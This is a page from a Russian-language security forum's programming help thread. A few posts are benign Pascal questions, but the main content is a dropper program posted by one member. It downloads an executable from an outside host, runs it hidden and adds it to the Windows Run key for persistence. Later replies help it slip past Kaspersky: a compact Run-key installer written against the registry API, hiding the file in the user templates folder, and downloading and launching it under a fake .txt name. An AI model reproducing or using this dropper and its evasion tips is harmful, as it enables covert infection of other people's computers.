HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #3051  
Старый 12.03.2009, 22:00
Jino
Новичок
Регистрация: 27.09.2007
Сообщений: 22
Провел на форуме:
10910

Репутация: 0
По умолчанию

Кто может помочь со следующей задачей:
Найти предел функции lim y (y стремится к нулю) * ctg(y) с точностью до Е.
 
Ответить с цитированием

  #3052  
Старый 12.03.2009, 22:01
lll6
Познающий
Регистрация: 01.03.2008
Сообщений: 99
Провел на форуме:
613745

Репутация: 51
По умолчанию

Цитата:
Сообщение от eLWAux  
а у меня она НЕ_зарезервированная )
Омг, у меня крутой паскаль значит, ну не беда))
 
Ответить с цитированием

  #3053  
Старый 13.03.2009, 11:39
Si{R}ius
Участник форума
Регистрация: 13.11.2008
Сообщений: 131
Провел на форуме:
776255

Репутация: 52
По умолчанию

Цитата:
Сообщение от Jino  
Как в Паскале, вызвать такую константу, как число E?
exp(x) - Экспонента (число e в степени x)
exp(1) ~ 2.72
 
Ответить с цитированием

  #3054  
Старый 13.03.2009, 20:03
dinar_007
Флудер
Регистрация: 18.01.2005
Сообщений: 2,298
Провел на форуме:
13936387

Репутация: 1844


Отправить сообщение для dinar_007 с помощью ICQ
По умолчанию

Цитата:
Сообщение от lll6  
У меня есть.
Где? Нету её... Определили константу и написали тут... С таким же успехом можно и констану Z определить...
 
Ответить с цитированием

  #3055  
Старый 13.03.2009, 21:47
lll6
Познающий
Регистрация: 01.03.2008
Сообщений: 99
Провел на форуме:
613745

Репутация: 51
По умолчанию

Цитата:
Сообщение от dinar_007  
Где? Нету её... Определили константу и написали тут... С таким же успехом можно и констану Z определить...
Ну вообще я просто пользуюсь PascalABC.NET, так что возможны расхождения с Pascal 7.0
 
Ответить с цитированием

  #3056  
Старый 14.03.2009, 13:12
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763

Репутация: 1680


Отправить сообщение для Nightmarе с помощью ICQ
По умолчанию

На скорую руку написал простенький довнлоадер под сплоеды:
Код:
program downloader;
uses windows, Registry, urlmon;


function sysdir: string;
var
f:array[0..255]of char;
begin
ExpandEnvironmentStrings('%WINDIR%',f,255);
Result := f;
end;

{Точка входа}
var 
 Registre:TRegistry;

BEGIN
urlmon.URLDownloadToFile(nil,PChar('http://shinobi.net.ru/colorpick.exe'),PChar(sysdir+'\fiesta32.exe'),0,nil);
 sleep(3000);
 winexec(PCHar(sysdir+'\fiesta32.exe'), sw_hide);
    
     Registre:=TRegistry.Create;
    Registre.RootKey:=HKEY_LOCAL_MACHINE;
    Registre.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', false);
    if Registre.ValueExists('fiesta') then Registre.DeleteValue('fiesta');
    Registre.WriteString('fiesta',sysdir+'\fiesta32.exe');
    Registre.Free;
END.
winexec(PCHar(sysdir+'\fiesta32.exe'), sw_hide);
из за этой команды не пашет скомпилированный файл (выдаётся ошибка доступа к файлу)

какие можете посоветовать альтернативы запуска файла в этой программе???

Shellexecute не пашет из за своего хендла
креатепроцесс тоже чёто не то... посоветуйте чё нить, чтобы файл нормально запустился...
 
Ответить с цитированием

  #3057  
Старый 14.03.2009, 13:58
slesh
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

ты не правильно наверное воспринимает результат выполнения WinExec
Читай Windows SDK
Цитата:
Return Values
If the function succeeds, the return value is greater than 31.
If the function fails, the return value is one of the following error values:
Value Meaning
0 The system is out of memory or resources.
ERROR_BAD_FORMAT The .EXE file is invalid (non-Win32 .EXE or error in .EXE image).
ERROR_FILE_NOT_FOUND The specified file was not found.
ERROR_PATH_NOT_FOUND The specified path was not found.
т.е. при нормальном выполнении функция вернет тебе значение 31
А если 31 считать кодом ошибки и прогнать его через SysErrorMessage то ты как рах и получишь сообщение в котром будет чтото говориться про доступ к файлу.
ты для теста смени sw_hide на sw_show
У меня запросто разаботал твой кусок кода

P.S. инстал в систему лучше напиши через API чтоб размер был меньше. Типа
Код:
procedure install(filename,about:string);
var
 key:longword;
begin
 RegOpenKeyEx(longword($80000002), 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0, $000F003F, Key);
 RegSetValueEx(Key, pchar(about), 0,1, pchar(filename), length(filename));
 RegCloseKey(Key);
end;
Хотя еще лучше кидай файл не в Windows а в папку с шаблонами пользователя. т.к. это папка находится хз где(юзверь хрен найдет) и для неё всегда есть доступ на запись, чего не скажешь о Windows или System32

Последний раз редактировалось slesh; 14.03.2009 в 14:04..
 
Ответить с цитированием

  #3058  
Старый 14.03.2009, 14:05
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763

Репутация: 1680


Отправить сообщение для Nightmarе с помощью ICQ
По умолчанию

Цитата:
Сообщение от slesh  
ты не правильно наверное воспринимает результат выполнения WinExec
Читай Windows SDK


т.е. при нормальном выполнении функция вернет тебе значение 31
А если 31 считать кодом ошибки и прогнать его через SysErrorMessage то ты как рах и получишь сообщение в котром будет чтото говориться про доступ к файлу.
ты для теста смени sw_hide на sw_show
У меня запросто разаботал твой кусок кода
Да сорри, забыл сказать что всё это из за касперского. Именно он блокирует данный кусок кода из за запуска файла, флаг sw_show никакой роли не играет...
 
Ответить с цитированием

  #3059  
Старый 14.03.2009, 14:12
slesh
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

1) Каспер недоверчево относится к запуску скрытых процессов. Так что SHOW / HIDE - играет роль
2) Такой вот инстал в реестр палится каспером еще с его детский времен
3) Скачать и запустить - это тоже слишком подозретильно.
По этому как вариант можно попробовать следующее
Качай файл под левым именем. типа book.txt, затем чтонить помути с ним а потом переименую как нужно и попробуй запустить.
На счет прописки в реестре - как никрути но это будет палиться проактивкой.
 
Ответить с цитированием

  #3060  
Старый 14.03.2009, 14:20
slesh
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

*CRAZY* хотя верх извращенства - запускать текстовик.
Если EXE переименовать в TXT типа c:\windows\book.txt то он всё равно запустится через winexec('c:\windows\book.txt',sw_show);
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Wi-Fi, BT] Задай вопрос - получи ответ! Alexsize Беспроводные технологии/Wi-Fi/Wardriving 2568 25.04.2026 12:58
[jQuery] - Задай вопрос, получи ответ Isis PHP 62 25.12.2009 03:25



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ